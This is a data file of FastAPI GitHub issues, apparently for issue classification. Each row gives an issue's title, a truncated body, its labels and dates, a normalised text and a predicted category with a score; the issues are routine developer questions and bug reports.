def exception_handler(_reque... [TRUNCATED]","feature,question,investigate,reviewed,question-migrate",2022-11-04 03:09:50+00:00,2023-02-28 15:43:23+00:00,4,"feature,question,investigate,reviewed,question-migrate",116.5233,add support for pydantic models in multipart form data requests example code python from typing import list type union any dict tuple typeddict from fastapi import depends fastapi from fastapi import form uploadfile file from fastapi openapi utils import get openapi from pydantic import basemodel from pydantic import validationerror from starlette responses import jsonresponse from starlette status import http unprocessable entity loc tuple union int str class errordictrequired typeddict loc loc msg str type str class errordict errordictrequired total false ctx dict str any app fastapi class multiplevalidationerrors exception def init self errors list errordict super init self errors errors class testschema basemodel foo str bar int def validate json model type basemodel def wrapper body str form try return model parse raw body except validationerror as exc errors exc errors for error in errors error loc tuple body list error loc raise multiplevalidationerrors errors return wrapper app post test def endpoint file uploadfile file body testschema depends validate json testschema print file print body return body app exception handler multiplevalidationerrors def exception handler reque truncated,feature,-0.9042
tiangolo/fastapi,1434919639,Fastapi returns incorrent response,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from typing import List
from fastapi import Depends, FastAPI
from sqlalchemy.orm import Session
from sqlalchemy import Column, String, Integer

from loguru import logger

from sqlalchemy import create_engine
from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy.orm import sessionmaker

# database
SQLALCHEMY_DATABASE_URL = ""sqlite:///./sql_app.db""
engine = create_engine(
    SQLALCHEMY_DATABASE_URL, 
    connect_args={""check_same_thread"": False},
)
SessionLocal = sessionmaker(autocommit=False, autoflush=False, bind=engine)
Base = declarative_base()
Base.metadata.create_all(bind=engine)

def get_db():
    db = Se... [TRUNCATED]","question,investigate,question-migrate",2022-11-03 16:09:32+00:00,2023-02-28 15:43:20+00:00,5,"question,investigate,question-migrate",116.9818,fastapi returns incorrent response first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python from typing import list from fastapi import depends fastapi from sqlalchemy orm import session from sqlalchemy import column string integer from loguru import logger from sqlalchemy import create engine from sqlalchemy ext declarative import declarative base from sqlalchemy orm import sessionmaker database sqlalchemy database url sqlite sql app db engine create engine sqlalchemy database url connect args check same thread false sessionlocal sessionmaker autocommit false autoflush false bind engine base declarative base base metadata create all bind engine def get db db se truncated,help,0.962
tiangolo/fastapi,1434063370,"After 3 hours, the FastAPI is unable to respond and dies ECONNREFUSED","### First Check

- [x] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
FROM python:3.9-slim

RUN apt update && apt -y upgrade
RUN apt install -y curl

WORKDIR /app
COPY . .

RUN pip install poetry
RUN poetry config virtualenvs.create false
RUN poetry install --no-dev

EXPOSE 3000

CMD [""uvicorn"", ""pricefeed.test_websocket2:app"", ""--proxy-headers"", ""--host"", ""0.0.0.0"", ""--port"", ""3000"", ""--log-level"", ""trace""]
```


### Description

I deployed my FastAPI Docker Application with Uvicorn on AWS ECS Fargate with Network Load Balancer. 
The Health Check is `[""CMD-SHELL"", ""curl -f http://127.0.0.1:3000/ws/status || exit 1""]`
However, after 3 hours of running the application, the fastapi endpoint is unreachable... [TRUNCATED]","question,answered,question-migrate",2022-11-03 03:53:02+00:00,2023-02-27 21:27:11+00:00,10,"question,answered,question-migrate",116.732,after hours the fastapi is unable to respond and dies econnrefused first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description i deployed my fastapi docker application with uvicorn on aws ecs fargate with network load balancer the health check is however after hours of running the application the fastapi endpoint is unreachable truncated,help,0.9136
tiangolo/fastapi,1432924591,WSGIMiddleware is deprecated and will be removed in a future release,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI
from fastapi.middleware.wsgi import WSGIMiddleware
from flask import Flask, escape, request

flask_app = Flask(__name__)


@flask_app.route(""/"")
def flask_main():
    name = request.args.get(""name"", ""World"")
    return f""Hello, {escape(name)} from Flask!""


app = FastAPI()


@app.get(""/v2"")
def read_main():
    return {""message"": ""Hello World""}


app.mount(""/v1"", WSGIMiddleware(flask_app))
```


### Description

* `fastapi.middleware.wsgi` is inherited from Starlette
* Starlette will remove `starlette.middleware.wsgi` in the future ([See here](https://github.com/encode/starlette/blob/master/starlette/... [TRUNCATED]","question,investigate,question-migrate",2022-11-02 10:50:01+00:00,2023-02-28 15:43:17+00:00,1,"question,investigate,question-migrate",118.2037,wsgimiddleware is deprecated and will be removed in a future release first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description is inherited from starlette starlette will remove in the future see here truncated,help,0.9136
tiangolo/fastapi,1432606232,How to upload from request.stream to MinIO,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI, Request
from minio import Minio

minio_client = Minio(HOST, access_key=ACCESS_KEY, SECRET_KEY)

@app.post(""/upload"")
async def (request: Request):
    async for chunk in request.stream():
        result = minio_client.put_object(
            ""files"",
            ""object"",
            data=chunk,
            length=len(chunk),
    )
```


### Description

Hello :)
I would like to upload POSTed files directly to MinIO object storage.
I want to stream files directly from the body to  Minio, to avoid multiple copies of the file on the server.
Also I would like to avoid the UploadFile AP... [TRUNCATED]","question,investigate,question-migrate",2022-11-02 07:01:01+00:00,2023-02-28 15:43:14+00:00,3,"question,investigate,question-migrate",118.3627,how to upload from request stream to minio first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description hello i would like to upload posted files directly to minio object storage i want to stream files directly from the body to minio to avoid multiple copies of the file on the server also i would like to avoid the uploadfile ap truncated,feature,0.9331
tiangolo/fastapi,1429749291,Performance problem with dependency evaluation,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
# does not apply
```


### Description

Debugging a FastAPI application and the overhead introduced by adding `Depends` type dependencies to endpoints led me to discover problems in the way dependencies are solved.  Please see PR #5554 for information.
That PR removes a _performance bug_ in `solve_dependencies` as well as speeding up non-path parameters for endpoints.
I'm adding this defect for visibilty

### Operating System

Windows

### Operating System Details

_No response_

### FastAPI Version

""main"" branch

### Python Version

3.10

### Additional Context

_No response_","question,investigate,question-migrate",2022-10-31 12:15:56+00:00,2023-02-28 15:43:12+00:00,0,"question,investigate,question-migrate",120.1439,performance problem with dependency evaluation first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description debugging a fastapi application and the overhead introduced by adding type dependencies to endpoints led me to discover problems in the way dependencies are solved please see pr for information that pr removes a performance bug in as well as speeding up non path parameters for endpoints i m adding this defect for visibilty windows details no response fastapi version main branch python version no response,bug,0.3237
tiangolo/fastapi,1429578918,"My PR don't have the ""approved-2"" label","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
N/A
```


### Description

I make a PR : https://github.com/tiangolo/fastapi/pull/5477
And 2 persons already approve it : emmrichard and rjNemo
but the bot didn't add the approved-2 label.

Futhermore, some PR have this label and aren't merge to the master branch : https://github.com/tiangolo/fastapi/pulls?q=is%3Aopen+is%3Apr+label%3Aapproved-2

I'm pretty sure that I forgot something to do, but I don't know what.

Thank you for your advice.

### Operating System

Linux

### Operating System Details

N/A

### FastAPI Version

0.85.1

### Python Version

3.10

### Additional Context

N/A","question,answered,question-migrate",2022-10-31 10:03:40+00:00,2023-02-27 21:27:07+00:00,6,"question,answered,question-migrate",119.4746,my pr don t have the approved label first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description i make a pr and persons already approve it emmrichard and rjnemo but the bot didn t add the approved label futhermore some pr have this label and aren t merge to the master branch i m pretty sure that i forgot something to do but i don t know what thank you for your advice linux details n a fastapi version python version n a,help,0.9814
tiangolo/fastapi,1428965282,request.url ignore whats after dots in domain name,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI,Request

app = FastAPI()

@app.get(""/getUrl"")
def get_url(request: Request):
    return {""url"" : request.url}
```


### Description

when i try to get the url using request.url
it ignore whats after dots in the domain name,
for example if my domain is like (https://example.api.net) my endpoint in the above code will return the url which i expect to be as, https://example.api.net/getUrl
but it return (https://example/getUrl),
it ignored .api and .net

### Operating System

Linux

### Operating System Details

_No response_

### FastAPI Version

0.85.0

### Python Version

3.8

### Additional Context

_No response_","question,answered,question-migrate",2022-10-30 18:37:52+00:00,2023-02-27 21:27:04+00:00,3,"question,answered,question-migrate",120.1175,request url ignore whats after dots in domain name first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description when i try to get the url using request url it ignore whats after dots in the domain name for example if my domain is like my endpoint in the above code will return the url which i expect to be as but it return it ignored api and net linux details no response fastapi version python version no response,feature,0.5267
tiangolo/fastapi,1428925852,null values are discarded from OpenAPI examples,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

Taken from https://fastapi.tiangolo.com/advanced/additional-responses/

```python
from fastapi import FastAPI

import json

app = FastAPI()

@app.get(""/"", responses={200: {""content"": {""application/json"": {""example"": {""absent"": None, ""present"": ""value""}}}}})
def read_root():
    return {""absent"": None, ""present"": ""value""}

print(json.dumps(app.openapi()))
```


### Description

- Add an example to the OpenAPI spec (using `example` or `examples`)
- Set the value to `None`
- The example is absent

The code above outputs:

```
{""openapi"": ""3.0.2"", ""info"": {""title"": ""FastAPI"", ""version"": ""0.1.0""}, ""paths"": {""/"": {""get"": {""... [TRUNCATED]","question,investigate,question-migrate",2022-10-30 17:47:31+00:00,2023-02-28 15:43:10+00:00,0,"question,investigate,question-migrate",120.9136,null values are discarded from openapi examples first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code taken from description add an example to the openapi spec using or set the value to the example is absent the code above outputs openapi info title fastapi version paths get truncated,help,0.9428
tiangolo/fastapi,1428523724,Spec-first development with `openapi-generator`?,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code
I have the following OpenAPI spec
```yaml
openapi: 3.0.0
info:
  description: |
    Connector Builder Server API

  version: ""1.0.0""
  title: Connector Builder Server API
  contact:
    email: myemail@gmail.com
  license:
    name: MIT
    url: ""https://opensource.org/licenses/MIT""

paths:
  /hello_world:
    get:
      description: ""Sample endpoint""
      responses:
        ""200"":
          description: Successful operation
          content:
            application/json:
              schema:
                type: object
                properties:
                  hello:
                    type: string
```

Wh... [TRUNCATED]","question,answered,question-migrate",2022-10-30 00:32:59+00:00,2023-02-27 21:27:00+00:00,6,"question,answered,question-migrate",120.8708,spec first development with first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code i have the following openapi spec wh truncated,help,0.9136
tiangolo/fastapi,1428502935,Async SQL (Relational) Databases example in Docs is broken,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
website = ""https://fastapi.tiangolo.com/tutorial/""

copy_tutorial_code()

result = """"""
...
ValueError: not enough values to unpack (expected 5, got 4)
""""""
```


### Description

Following the tutorial code for Async Databases https://fastapi.tiangolo.com/advanced/async-sql-databases/ results in an error when trying to view all records of a field, in this case preforming the GET operation on all notes. it will error on the line `query = notes.select()`

### Operating System

Linux, macOS

### Operating System Details

Ubuntu 22.04.1 x86 12GB Ram on VM
macOS 13 (ARM64 M1 Max) 


### FastAPI Version

0.85.1

### Python Version

Python 3.10.6

#... [TRUNCATED]","question,investigate,question-migrate",2022-10-29 23:28:13+00:00,2023-02-28 15:43:07+00:00,4,"question,investigate,question-migrate",121.677,async sql relational databases example in docs is broken first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description following the tutorial code for async databases results in an error when trying to view all records of a field in this case preforming the get operation on all notes it will error on the line linux macos details ubuntu x gb ram on vm macos arm m max fastapi version python version python truncated,documentation,0.3919
tiangolo/fastapi,1426950292,Duplicate tag names are possible on the OpenAPI object level,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from typing import Union
from fastapi import FastAPI

app = FastAPI(openapi_tags=[{'name': 'items', 'description': 'items1'}, {'name': 'items', 'description': 'items2'}])

@app.get(""/items"", tags=[""items""])
def read_item(q: Union[str, None] = None):
    return {""q"": q}
```


### Description

The OpenAPI [specification](https://swagger.io/specification/#openapi-object) states that ""Each tag name in the list MUST be unique."" for the OpenAPI object.

```bash
$ curl -s http://localhost:8000/openapi.json | jq .tags
[
  {
    ""name"": ""items"",
    ""description"": ""items1""
  },
  {
    ""name"": ""items"",
    ""description"": ""items2""
  }
]
``... [TRUNCATED]","question,investigate,question-migrate",2022-10-28 09:12:44+00:00,2023-02-28 15:43:05+00:00,1,"question,investigate,question-migrate",123.2711,duplicate tag names are possible on the openapi object level first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description the openapi specification states that each tag name in the list must be unique for the openapi object bash curl s jq tags name items description items name items description items truncated,help,0.9136
tiangolo/fastapi,1426072970,Is there a way of updating the generated Swagger spec?,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
app = FastAPI()
app.openapi_version = ""3.1.0""
```


### Description

Hi, we have an internal tooling of linting the generated swagger (aka, OpenAPI) doc, which requires the API spec to follow `3.1.0`. However, the current generated version is [`3.0.2`](https://github.com/tiangolo/fastapi/blob/f67b19f0f73ebdca01775b8c7e531e51b9cecfae/fastapi/applications.py#L106).

I used the above code to update it to `3.1.0`, and it works. 😄

However, it looks like I am hard coding the version number, rather than generating with the real `v3.1.0` spec, so I wonder is there a way to update the internal swagger spec version?

Thanks 😄



### Operating System
... [TRUNCATED]","question,question-migrate",2022-10-27 18:06:54+00:00,2023-02-27 21:26:56+00:00,8,"question,question-migrate",123.1389,is there a way of updating the generated swagger spec first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description hi we have an internal tooling of linting the generated swagger aka openapi doc which requires the api spec to follow however the current generated version is i used the above code to update it to and it works however it looks like i am hard coding the version number rather than generating with the real spec so i wonder is there a way to update the internal swagger spec version thanks truncated,help,0.9517
tiangolo/fastapi,1423375049,Two functions with one path produce inconsistent results,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI

app = FastAPI()


@api.get(""/foo"")
async def foo1() -> dict:
    """"""Foo #1""""""
    return {""content"": ""First foo""}


@api.get(""/foo"")
async def foo2() -> dict:
    """"""Foo #2""""""
    return {""content"": ""Second foo""}
```


### Description

* `GET /openapi.json` (and consequently Swagger/Redoc) refer to `/foo` with `Foo #2` documentation.
* `GET /foo` returns `First foo`.
* Expected `GET /foo` to return `Second foo` _or_ `GET /openapi.json` to return `Foo #1` documentation. As it stands, the results of overriding a path are inconsistent.

### Operating System

Linux

### Operating ... [TRUNCATED]","question,answered,question-migrate",2022-10-26 03:19:42+00:00,2023-02-27 21:26:51+00:00,9,"question,answered,question-migrate",124.755,two functions with one path produce inconsistent results first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description and consequently swagger redoc refer to with documentation returns expected to return or to return documentation as it stands the results of overriding a path are inconsistent linux operating truncated,help,0.9136
tiangolo/fastapi,1423273310,uvicorn logging format with TimedRotatingFileHandler,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import logging
from logging.handlers import TimedRotatingFileHandler
from fastapi import Body, FastAPI, Request
from fastapi.staticfiles import StaticFiles
from fastapi.templating import Jinja2Templates



app = FastAPI()
app.mount(""/static"", StaticFiles(directory=""static""), name=""static"")
templates = Jinja2Templates(directory=""templates"")

logformat = logging.Formatter(
    ""[%(asctime)s][%(filename)s:%(lineno)d][%(levelname)s][%(process)d][%(threadName)s] - %(message)s"")
logger = logging.getLogger(""uvicorn.access"")

# time rotating handler
# debug
debug_rotating_handler = TimedRotatingFileHandler(
    'pml_debug... [TRUNCATED]","question,question-migrate",2022-10-26 00:44:01+00:00,2023-02-27 21:26:47+00:00,5,"question,question-migrate",124.863,uvicorn logging format with timedrotatingfilehandler first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python import logging from logging handlers import timedrotatingfilehandler from fastapi import body fastapi request from fastapi staticfiles import staticfiles from fastapi templating import jinja templates app fastapi app mount static staticfiles directory static name static templates jinja templates directory templates logformat logging formatter asctime s filename s lineno d levelname s process d threadname s message s logger logging getlogger uvicorn access time rotating handler debug debug rotating handler timedrotatingfilehandler pml debug truncated,help,0.9136
tiangolo/fastapi,1420673302,Header/Query/Path parameters with same name fills them all,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from typing import Union

import uvicorn
from fastapi import FastAPI, APIRouter, Depends, Path, Header, Query
from pydantic import PositiveInt

app = FastAPI()
router = APIRouter()


def get_user_id_from_header(user_id: Union[PositiveInt, None] = Header(default=None)):
    return user_id


def get_user_id_from_query(user_id: Union[PositiveInt, None] = Query(default=None)):
    return user_id


@router.get(""/user/{user_id}"")
async def article(
    user_id: PositiveInt = Path(),
    header_user_id=Depends(get_user_id_from_header),
    query_user_id=Depends(get_user_id_from_query),
):
    return {
        ""user_id"": user_id,
